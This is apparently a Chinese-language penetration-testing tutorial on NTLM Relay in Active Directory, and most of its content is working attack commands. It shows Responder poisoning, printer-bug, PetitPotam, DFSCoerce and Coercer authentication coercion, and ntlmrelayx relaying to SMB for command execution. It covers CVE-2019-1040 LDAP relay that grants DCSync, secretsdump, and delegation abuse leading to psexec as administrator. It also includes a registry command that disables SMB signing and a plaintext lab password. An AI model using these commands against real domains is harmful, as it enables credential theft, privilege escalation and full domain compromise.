介绍
之前在《NTLM协议》中介绍了NTLM认证的过程以及Net-NTLM Hash。
NTLM Relay是一种中间人攻击方法,利用NTLM认证漏洞,将客户端的认证请求中继给目标服务器,从而获取权限或执行恶意操作。这种攻击技术可以用于获取Net-NTLM哈希并进一步提升攻击权限。
这样描述可能还是有一点模糊,直接看这张图吧,一目了然。
攻击者所做的事情只是把所有客户端的请求relay到服务端,并把所有服务端的请求relay到客户端。而在服务端看来,一直以来只有攻击者在跟他交互,所以自然而然就认为攻击者就是客户端,这样子攻击者就达到了伪造成真正客户端的目的。
如何获取到Net-NTLM Hash
攻击者既然要充当中间人,那么肯定就需要先拿到对应用户的Net-NTLM Hash,比较完整的操作列表可参考《发起NTLM 请求》,但大多数需要用户交互,在已有部分主机权限的情况下,可以尝试通过钓鱼来获取到更多的Net-NTLM Hash,这里介绍常用的打印机BUG来发起请求。
打印机BUG之前在非约束委派的利用中也有介绍过,利用Windows打印系统远程协议
(MS-RPRN)
中的一种旧的但是默认启用的RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法来强迫运行Spooler服务的任何主机通过Kerberos或者NTLM向攻击者选择的目标发起身份认证请求。
监听还是使用 responder
sudo responder -I eth0 -w -v
强制运行Spooler服务的主机访问我们
# 可以用 printerbug.py 平替,可以在域外手动传入域账号
spoolsample.exe PDC 172.16.93.17
# 也可以通过LLMNR协议来
spoolsample.exe PDC aaaaa
攻击实现
这里以SMB relay SMB进行演示,也可以中继到LDAP直接修改AD拿权限等等,可参考该文档,配套视频。
前提条件
目标主机没有开启smb签名,一般情况下,Windows Server系列会默认开启,因此域控默认也会开启,而Windows单机系统[win7/8/8.1/10]默认都不会开。
# 关闭SMB签名,修改注册表的键值为0,默认为1 reg query HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
使用cme可探测签名情况。
crackmapexec smb 172.16.93.1/24
利用演示
中继域管的Net-NTLM Hash,再其他的域机器上执行whoami命令。
使用impacket包中的 ntlmrelayx.py
去监听
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -debug -t 172.16.93.2 -smb2support -c whoami
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -debug -t 172.16.93.2 -smb2support -e 1.exe
然后再修改responder
的配置文件Responder.conf
,关闭HTTP和SMB服务,修改后启动,启动的目的是因为responder支持LLMNR,ntlmreplayx不支持LLMNR,开启后responder会将监听到的LLMNR的Net-NTLM Hash自动转发到SMB服务上,相当于对 ntlmreplayx 进行增强。
sudo responder -I eth0 -w -v
然后在对 172.16.93.2
这台机器有smb执行命令权限的账号的机器上随意发起SMB请求后,即可中继成功。
net use \\asdasdasdaa
CVE-2019-1040
攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器;Impacket
的ntlmrelayx
模块目前已经集成了 --remove-mic
未复现,可能存在理解偏差和问题
攻击方式一
攻击Exchange,此时Exchange和域控是2台服务器,将 Exchange 机器用户的Net-NTLM Hash中继到ldap://域控上,为指定的账户授予DCSYNC的权限。
exchange机器账户默认可以修改Domain object对象的所有属性,domain object就是域内所有的主机与用户。
# 提升 d4m1ts 域用户的权限,中继到域控上
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -debug --remove-mic --escalate-user d4m1ts -t ldap://PDC.org.gm7 -smb2support
使用打印机BUG让Exchange服务器强行发起认证获取到Net-NTLM Hash
# 可以用 printerbug.py 平替,可以在域外手动传入域账号
spoolsample.exe Exchange 172.16.93.17
如果攻击成功,这时就可以利用d4m1ts
账户通过DCSYNC获取到Hash了。
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py org.gm7/d4m1ts:KsadiN8A.as221@172.16.93.15 -just-dc
攻击方式二
利用Kerberos委派,攻击辅助域控,中继到域控中,创建新账号,并设立对辅助域控的基于资源的约束委派。
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -debug --remove-mic --delegate-access -t ldap://PDC.org.gm7 -smb2support
使用打印机BUG让辅助域控强行发起认证获取到Net-NTLM Hash
# 可以用 printerbug.py 平替,可以在域外手动传入域账号
spoolsample.exe BDC 172.16.93.17
如果攻击成功,这时就可以利用回显结果中创建的账号进行到辅助域控的约束委派的攻击。
python3 getST.py org.gm7/d4m1ts:KsadiN8A.as221 -spn host/BDC.org.gm7 -impersonate administrator
set KRB5CCNAME=administrator.ccache
wmiexec.exe PDC.org.gm7 -no-pass -k -dc-ip 172.16.93.15
psexec.exe -k org.gm7/administrator@PDC.org.gm7 -no-pass
其他说明
- ntlm-relay不能将ntlm认证relay回原机器,因为微软在ms08-068中对smb reflect到 smb 做了限制。例如截取到exchange主机的ntlm-hash,可以将其relay到域内其他主机上进行rce攻击,但不能将其relay回exchange主机进行命令执行。
强制触发认证的方式
172.16.93.17为攻击者监听的机器,172.16.93.2为域内的正常机器,172.16.93.15为域控。
强制触发都使用的是被攻击机器的机器账户去发送的请求!
打印机BUG
在非约束委派获取TGT和上面都是使用的打印机BUG来进行强制认证。
拥有一个域用户凭据信息且打印服务开启的情况下,通过触发 SpoolService 错误,强制目标通过 MS-RPRN RPC 接口向攻击者进行身份验证。
MS-RPRN 协议中定义的 RpcRemoteFindFirstPrinterChangeNotificationEx()
方法允许域用户创建远程更改通知对象,该对象用于监视打印机对象的更改,并且在发生修改后会向打印客户端发送更改通知,这里的打印客户端指的就是攻击者的主机,用于接收目标发送的更改通知(NTLM 认证请求)
spoolsample.exe 172.16.93.2 172.16.93.17
python3 printerbug.py org.gm7/d4m1ts:KsadiN8A.as221@172.16.93.2 172.16.93.17
PeitiPotam
拥有一个域用户凭据信息且目标支持 MS-EFSR 协议的情况下,在微软加密文件系统远程协议(Microsoft Encrypting File System Remote Protocol, MS-EFSRPC
)中,提供了 EfsRpcOpenFileRaw() 接口,该 API 用于维护和管理远程网络访问的加密对象。
攻击者使用 MS-EFSRPC 协议连接到服务器,通过修改EfsRpcOpenFileRaw() 中的 FileName 参数劫持认证会话,迫使服务器进行强制验证。
可使用工具 PetitPotam
python3 PetitPotam.py -d org.gm7 -u d4m1ts -p KsadiN8A.as221 172.16.93.17 172.16.93.2
DFSCoerce
拥有一个域用户凭据信息、域内启用 MS-DFSNM 协议且只对域控有效,在微软分布式文件系统命名空间管理协议MS-DFSNM 中,提供了一个管理DFS配置的RPC接口,该接口可通过 \pipe\netdfs
SMB命名管道获得。攻击者使用 MS-EFSRPC 协议中的RPC接口来触发强制认证,目前发现的特定方法有两个:NetrDfsRemoveStdRoot()
和 NetrDfsAddStdRoot()
可使用工具DFSCoerce
python3 dfscoerce.py -u d4m1ts -p KsadiN8A.as221 -d org.gm7 172.16.93.17 172.16.93.15
集成工具
这里推荐使用集成工具 Coercer
,比较齐全,
这里我用单独的脚本跑可以,但是用它的就不行,不知道为啥,后面再看。
# 扫描
coercer scan -t 172.16.93.15 -u "d4m1ts" -p "KsadiN8A.as221" -d "org.gm7" -v
# 利用
coercer coerce -t 172.16.93.2 -u "d4m1ts" -p "KsadiN8A.as221" -d "org.gm7" -v -l 172.17.93.17 --dc-ip 172.16.93.15